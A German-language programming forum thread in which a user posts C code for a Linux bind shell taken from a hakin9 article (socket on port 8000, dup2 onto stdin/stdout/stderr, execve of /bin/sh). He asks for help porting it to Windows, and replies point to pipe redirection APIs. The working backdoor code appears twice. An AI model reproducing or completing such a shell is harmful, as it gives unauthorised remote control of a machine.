stdin, stdout, stderr auf ein socket binden
-
sodelle hab mir mal wieder was schönes zum proggen einfallen lassen
in der aktuellen ausgabe der zeitschrift hakin9.org gibt es einen artikel über die optimierung von shellcodes unter linux. das selber interessiert mich garnicht, sondern viel eher ein code der dort dabeiwar. und zwar ist der für linux geschrieben, ich möchte den aber nun nach windows portieren, was nicht so klappt wie ich will.kurz zur erklärung: in linux soll ein socket gestartet werden, dann wartet dieser auf eine einkommende verbindung und hängt bei nem accept die stdion, stdout und stderr auf den angenommenen socket. danach wird ne bash gestartet und man hat praktisch ne remote steuerung auf dem pc. die man dann sogar paar telnet ganz simpel nutzen kann.
hier mal der original code aus der zeitschrift:
char *name[2]; int fd1, fd2; struct sockaddr_in serv; name[0] = "/bin/sh"; name[1] = NULL; serv.sin_addr.s_addr = 0; serv.sin_port = htons(8000); serv.sin_family = AF_INET; fd1 = socket(AF_INET, SOCK_STREAM, 0); bind(fd1,(struct sockaddr *)&serv,16); listen(fd1,1); fd2 = accept(fd1,0,0); dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); execve(name[0],name,NULL);
und hier meine modifizoerte version für windows, die einfach nicht gehen will. dup2() liefert IMMER -1 zurück, also fehler (falsches handle)
int fd1=0, fd2=0; struct sockaddr_in serv; WSADATA SockData; WSAStartup(MAKEWORD(2,0),&SockData); serv.sin_addr.s_addr = 0; serv.sin_port = htons(8000); serv.sin_family = AF_INET; fd1 = socket(AF_INET, SOCK_STREAM, 0); bind(fd1,(struct sockaddr *)&serv,16); listen(fd1,1); fd2 = accept(fd1,0,0); dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); //Zum test nur mal ne info system("ver"); getch();
jetzt mach ich da schon den ganzen tag dran rum und es will einfach nicht funktionieren. hab auch schon zig zeug probiert. eine connection per telnet auf den server geht, aber beendet sich sofort wieder, geschweigeden ich sehe überhaupt mal diese versionsinfo. wie gesagt der kann die standard dinger nicht an das socket binden wie unter linux.
daher meine große frage: wie kann ich das unter windows anstellen, das es funktioniert??
btw: der code kommt direkt aus der winmain einer konsolenanwendung. und wusste net recht ob das winapi oder nur C++ ist
MfG Mailmaster
-
hi,
leite einfach stdout und stderr auf Pipe um...
CreatePipe() etc.
-
danke für die antwort, ich schaue es mir einmal an
geht das auch für die stdin
MfG Mailmaster
-
lies dir das auch mal durch, wird dir bestimmt helfen
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnucmg/html/UCMGch09.asp
-
Mailmaster schrieb:
danke für die antwort, ich schaue es mir einmal an
geht das auch für die stdin
MfG Mailmaster
ja das geht auch,
also schaue dir den Link oben und dieses hier mal ruhig an:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/creating_a_child_process_with_redirected_input_and_output.asp
-
Hast du davon noch mehr? am besten sortiert...usw.
Love[quote="Mailmaster"]sodelle hab mir mal wieder was schönes zum proggen einfallen lassen
in der aktuellen ausgabe der zeitschrift hakin9.org gibt es einen artikel über die optimierung von shellcodes unter linux. das selber interessiert mich garnicht, sondern viel eher ein code der dort dabeiwar. und zwar ist der für linux geschrieben, ich möchte den aber nun nach windows portieren, was nicht so klappt wie ich will.kurz zur erklärung: in linux soll ein socket gestartet werden, dann wartet dieser auf eine einkommende verbindung und hängt bei nem accept die stdion, stdout und stderr auf den angenommenen socket. danach wird ne bash gestartet und man hat praktisch ne remote steuerung auf dem pc. die man dann sogar paar telnet ganz simpel nutzen kann.
hier mal der original code aus der zeitschrift:
char *name[2]; int fd1, fd2; struct sockaddr_in serv; name[0] = "/bin/sh"; name[1] = NULL; serv.sin_addr.s_addr = 0; serv.sin_port = htons(8000); serv.sin_family = AF_INET; fd1 = socket(AF_INET, SOCK_STREAM, 0); bind(fd1,(struct sockaddr *)&serv,16); listen(fd1,1); fd2 = accept(fd1,0,0); dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); execve(name[0],name,NULL);
und hier meine modifizoerte version für windows, die einfach nicht gehen will. dup2() liefert IMMER -1 zurück, also fehler (falsches handle)
int fd1=0, fd2=0; struct sockaddr_in serv; WSADATA SockData; WSAStartup(MAKEWORD(2,0),&SockData); serv.sin_addr.s_addr = 0; serv.sin_port = htons(8000); serv.sin_family = AF_INET; fd1 = socket(AF_INET, SOCK_STREAM, 0); bind(fd1,(struct sockaddr *)&serv,16); listen(fd1,1); fd2 = accept(fd1,0,0); dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); //Zum test nur mal ne info system("ver"); getch();
jetzt mach ich da schon den ganzen tag dran rum und es will einfach nicht funktionieren. hab auch schon zig zeug probiert. eine connection per telnet auf den server geht, aber beendet sich sofort wieder, geschweigeden ich sehe überhaupt mal diese versionsinfo. wie gesagt der kann die standard dinger nicht an das socket binden wie unter linux.
daher meine große frage: wie kann ich das unter windows anstellen, das es funktioniert??
btw: der code kommt direkt aus der winmain einer konsolenanwendung. und wusste net recht ob das winapi oder nur C++ ist
MfG Mailmaster[/quote]
-
O'Reilly,WIN32 Multithreaded Programming.....
Love
-
wie meinst du sortiert usw.?
meinst du etwa weitere codes?MfG Mailmaster
-
es ist mir nicht agnz klar was du mit dem Code machen willst?Kannst du mir mal deine Absichten bzgl. dessen näher erläutern?